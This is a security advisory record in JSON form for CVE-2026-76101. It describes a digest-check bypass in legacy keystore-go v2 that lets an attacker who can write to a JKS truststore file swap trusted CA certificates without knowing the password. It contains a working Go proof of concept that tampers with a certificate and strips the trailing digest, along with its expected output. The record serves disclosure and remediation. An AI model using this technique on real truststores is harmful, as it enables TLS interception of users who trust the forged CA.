{"id":"CVE-2026-76101","aliases":["GHSA-j282-pjg5-j643"],"url":"https://o3.security/vulnerability/CVE-2026-76101","summary":"keystore-go: Keystore integrity and password verification bypass via stripped trailing digest in Decode(), impacting legacy v2 versions","details":"### Summary\n`keystore.Decode()` fails to check the error returned when reading the trailing SHA-1 integrity digest of a JKS keystore. If an attacker removes the final 20 bytes from a `.jks` file, the digest read returns an empty slice and the byte-comparison loop never executes, so `Decode()` returns the parsed keystore with `err == nil`. This defeats both tamper detection and — for certificate-only truststores — the password check itself, allowing an attacker with write access to a keystore file (but without knowledge of the keystore password) to silently inject or replace trusted CA certificates.\n\n### Details\n**Affected versions:** `github.com/pavel-v-chernykh/keystore-go` ≤ `v2.1.0+incompatible` (the final release on this module path).  v3 and v4 releases are not impacted.\n\nIn `decoder.go`, function `Decode`, lines 264-272:\n\n```go\ncomputedDigest := ksd.md.Sum(nil)\nactualDigest, err := ksd.readBytes(uint32(ksd.md.Size()))\nfor i := 0; i < len(actualDigest); i++ {\n    if actualDigest[i] != computedDigest[i] {\n        return nil, ErrInvalidDigest\n    }\n}\n\nreturn keyStore, nil\n```\n\nTwo defects combine here:\n\n1. The `err` returned by `ksd.readBytes(20)` on line 265 is assigned but never inspected.\n2. The comparison loop on line 266 is bounded by `len(actualDigest)` rather than `len(computedDigest)`.\n\n`readBytes` (`decoder.go` lines 75-94) reads the requested bytes via `io.ReadFull`; on EOF/short read it returns `(nil, ErrIo)`:\n\n```go\n_, err := io.ReadFull(ksd.r, ksd.b[:blockSize])\nif err != nil {\n    return result, ErrIo\n}\n```\n\nWhen the trailing 20-byte digest is absent from the input stream, `actualDigest` is therefore `nil`, `len(actualDigest) == 0`, the `for` loop body never executes, and `Decode()` falls through to `return keyStore, nil`.\n\nThe JKS format's only integrity guarantee is this trailing `SHA1(passwordBytes || \"Mighty Aphrodite\" || body)` digest. For truststores containing only `TrustedCertificateEntry` values it is also the *only* place the password is verified. Consequently:\n\n- An attacker who can modify a `.jks` truststore on disk — but does **not** know the keystore password — can replace or add trusted CA certificates, drop the last 20 bytes of the file, and the consuming Go process will load the forged truststore as valid.\n- After the digest is stripped, `Decode()` accepts **any** password, so operators who believe the password gates integrity receive no error even when the wrong password is supplied.\n\nThe reference Java `JavaKeyStore` implementation reads the digest with `DataInputStream.readFully` and throws on short read; this Go port diverges from that behaviour.\n\n### PoC\n```\ngo mod init poc\ngo get github.com/pavel-v-chernykh/keystore-go@v2.1.0+incompatible\ngo run .\n```\n\n```go\npackage main\n\nimport (\n        \"bytes\"\n        \"fmt\"\n        \"os\"\n\n        keystore \"github.com/pavel-v-chernykh/keystore-go\"\n)\n\nfunc main() {\n        originalCert := []byte(\"ORIGINAL-TRUSTED-CA-CERTIFICATE\")\n        evilCert := []byte(\"EVIL-ATTACKER-CA-CERTIFICATE!!!\") // same length\n\n        ks := keystore.KeyStore{\n                \"trusted-ca\": &keystore.TrustedCertificateEntry{\n                        Certificate: keystore.Certificate{\n                                Type:    \"X509\",\n                                Content: originalCert,\n                        },\n                },\n        }\n\n        var buf bytes.Buffer\n        if err := keystore.Encode(&buf, ks, []byte(\"correct-password\")); err != nil {\n                panic(err)\n        }\n        legit := buf.Bytes()\n        fmt.Printf(\"[*] Legitimate keystore: %d bytes (last 20 = SHA-1 digest)\\n\", len(legit))\n\n        // Sanity: untampered keystore with WRONG password is rejected.\n        _, err := keystore.Decode(bytes.NewReader(legit), []byte(\"wrong-password\"))\n        fmt.Printf(\"[*] Decode(legit, wrong-password) -> err=%v  (expected ErrInvalidDigest)\\n\", err)\n\n        // Attacker: tamper with the certificate, then strip the 20-byte digest.\n        tampered := bytes.Replace(append([]byte(nil), legit...), originalCert, evilCert, 1)\n        tampered = tampered[:len(tampered)-20] // remove trailing SHA-1 digest entirely\n\n        // 1) Tampered keystore + CORRECT password: integrity check should fail.\n        out, err := keystore.Decode(bytes.NewReader(tampered), []byte(\"correct-password\"))\n        if err == nil {\n                entry := out[\"trusted-ca\"].(*keystore.TrustedCertificateEntry)\n                fmt.Printf(\"\\n[BYPASS] Tampered keystore accepted with correct password.\\n\")\n                fmt.Printf(\"         Trusted cert content: %q\\n\", entry.Certificate.Content)\n        } else {\n                fmt.Printf(\"[ok] tampered keystore rejected: %v\\n\", err)\n                os.Exit(1)\n        }\n\n        // 2) Tampered keystore + WRONG password: should also fail.\n        out2, err2 := keystore.Decode(bytes.NewReader(tampered), []byte(\"attacker-does-not-know\"))\n        if err2 == nil {\n                entry := out2[\"trusted-ca\"].(*keystore.TrustedCertificateEntry)\n                fmt.Printf(\"[BYPASS] Tampered keystore accepted with WRONG password.\\n\")\n                fmt.Printf(\"         Trusted cert content: %q\\n\", entry.Certificate.Content)\n        } else {\n                fmt.Printf(\"[ok] wrong password rejected: %v\\n\", err2)\n                os.Exit(1)\n        }\n}\n```\n\nExpected output:\n\n```\n[*] Legitimate keystore: 97 bytes (last 20 = SHA-1 digest)\n[*] Decode(legit, wrong-password) -> err=keystore: invalid digest  (expected ErrInvalidDigest)\n\n[BYPASS] Tampered keystore accepted with correct password.\n         Trusted cert content: \"EVIL-ATTACKER-CA-CERTIFICATE!!!\"\n[BYPASS] Tampered keystore accepted with WRONG password.\n         Trusted cert content: \"EVIL-ATTACKER-CA-CERTIFICATE!!!\"\n```\n\n### Impact\nAny application that uses `keystore.Decode()` to load a JKS truststore and relies on the keystore password for tamper evidence is affected. An attacker who can write to the `.jks` file (local user, compromised deployment artefact, writable config volume, etc.) but does **not** know the keystore password can replace trusted CA certificates undetected. Downstream, this typically enables man-in-the-middle interception of TLS connections that trust the forged CA, compromising confidentiality and integrity of those connections. No authentication to the target application is required beyond file-write access; no user interaction is required.\n\nThis defect was fixed in commit `af93effd832cf1aef7794e69c31e1b668e17b851` (2019-09-16, \"Update to go1.13\"), which added an `if err != nil { return … }` guard after reading the trailing digest and replaced the length-of-actual loop with a full-length `bytes.Compare(actualDigest, computedDigest)`. That commit first shipped in tag **v3.0.0**. There is no fixed release on the bare `github.com/pavel-v-chernykh/keystore-go` module path — every release there (`v1.0.0` through `v2.1.0+incompatible`) predates the fix. The fixed code is available under the successor module paths:\n\n- `github.com/pavel-v-chernykh/keystore-go/v3` ≥ v3.0.0\n- `github.com/pavel-v-chernykh/keystore-go/v4` ≥ v4.0.0\n- `github.com/pavlo-v-chernykh/keystore-go/v4` ≥ v4.0.0 (repository renamed at v4.4.0; the Go module proxy serves all v4.x under both spellings)\n\nUsers of the legacy `v2` module path remain exposed and should migrate to `github.com/pavlo-v-chernykh/keystore-go/v4`.","published":"2026-11-18T21:49:15.228Z","modified":"2026-11-19T21:01:51.739168543Z","cvss":{"score":7.1,"severity":"HIGH","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N"},"epss":{"score":0.00054,"percentile":0.00002,"asOf":"2026-11-19"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Go","name":"github.com/pavel-v-chernykh/keystore-go","fixedVersion":null},{"ecosystem":"Go","name":"github.com/pavel-v-chernykh/keystore-go/v3","fixedVersion":"3.0.0"}],"fix":{"url":"https://github.com/pavlo-v-chernykh/keystore-go/commit/af93effd832cf1aef7794e69c31e1b668e17b851","label":"pavlo-v-chernykh/keystore-go@af93eff"},"references":[{"type":"WEB","url":"https://github.com/pavlo-v-chernykh/keystore-go/releases/tag/v3.0.0"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/76xxx/CVE-2026-76101.json"},{"type":"ADVISORY","url":"https://github.com/pavlo-v-chernykh/keystore-go/security/advisories/GHSA-j282-pjg5-j643"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-76101"},{"type":"FIX","url":"https://github.com/pavlo-v-chernykh/keystore-go/commit/af93effd832cf1aef7794e69c31e1b668e17b851"},{"type":"PACKAGE","url":"https://github.com/pavlo-v-chernykh/keystore-go"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-11-19T21:01:51.739168543Z"}}